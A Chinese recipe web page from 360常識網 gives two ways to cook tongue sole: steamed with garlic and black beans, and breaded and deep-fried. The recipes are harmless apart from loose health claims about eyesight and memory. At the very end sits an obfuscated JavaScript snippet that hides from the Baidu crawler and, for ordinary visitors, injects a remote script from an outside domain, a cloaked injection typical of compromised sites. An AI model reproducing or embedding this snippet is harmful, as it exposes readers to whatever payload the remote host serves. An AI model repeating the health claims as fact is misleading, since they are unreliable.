當前位置:首頁 > 飲食 > 烹飪技巧 > 正文

龍利魚的做法-龍利魚怎么做好吃

2015-02-14 03:58:21  來源:360常識網(wǎng)   熱度:
導語:龍利魚,俗稱舌頭魚,屬于深海魚類,高蛋白,營養(yǎng)豐富,蛋液補充蛋白質(zhì),令口感鮮美,更有保護視力,增強記憶力的功效。龍利魚的做法-龍利

龍利魚,俗稱舌頭魚,屬于深海魚類,高蛋白,營養(yǎng)豐富,蛋液補充蛋白質(zhì),令口感鮮美,更有保護視力,增強記憶力的功效。

龍利魚的做法-龍利魚怎么做好吃
龍利魚的做法-龍利魚怎么做好吃

蒜蓉龍利魚

食譜所需用料:

龍利魚1條(去頭尾);豆豉2勺;橄欖油1勺;蒜5瓣;姜4片;料酒1勺;生抽1勺;鹽適量。

做法步驟:

1、舌頭魚需要正反兩面全部剝皮。姜切絲,蒜拍碎后剁成蒜蓉。

2、勺豆豉,1勺橄欖油,1勺蒜蓉,1勺生抽,混合拌均成豆豉蒜蓉醬。

3、舌頭魚去頭尾,切大塊,加1勺料酒,少量鹽腌制15分鐘。腌好的魚柳瀝去水,抹上豆豉蒜蓉醬,鋪滿姜絲,腌制30分鐘。

4、蒸魚盤包上保鮮膜(可防止水汽進入),入沸水鍋蒸10分鐘。關火燜一會兒。

5、取出后撒蔥花。

此食譜的功效:龍利魚,俗稱舌頭魚,屬于深海魚類,高蛋白,營養(yǎng)豐富;姜:降逆止嘔、化痰止咳、散寒解表。

360常識網(wǎng)小貼士:

頭尾可以干煎一下,非常好吃。

酥炸龍利魚

食譜所需用料:

龍利魚700克;面粉200克;面包糠400克;蛋液150克;泰式甜辣醬;鹽適量。

做法步驟:

1.將龍利魚洗凈。

2.將其切成大小均勻的塊狀,撒適量鹽調(diào)味。

3.蘸上面粉。

4.裹上一層全蛋液。

5.再蘸上面包糠。

6.依次將魚塊按上述方法制作完成,并放在無水無油的盤中。

7.把魚排放入微微起泡的油中炸成金黃色。

8.瀝干油后裝盤,搭配泰式甜辣醬食用即可。

此食譜的功效:

龍利魚,俗稱舌頭魚,屬于深海魚類,高蛋白,營養(yǎng)豐富,蛋液補充蛋白質(zhì),令口感鮮美,更有保護視力,增強記憶力的功效。

360常識網(wǎng)小貼士:魚排外酥里嫩,魚肉還保持著非常好的汁水。調(diào)料微甜微辣,能更好的調(diào)和魚排的口味。一定趁熱吃,口感細膩很新鮮。小火炸制,注意火候避免過老。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}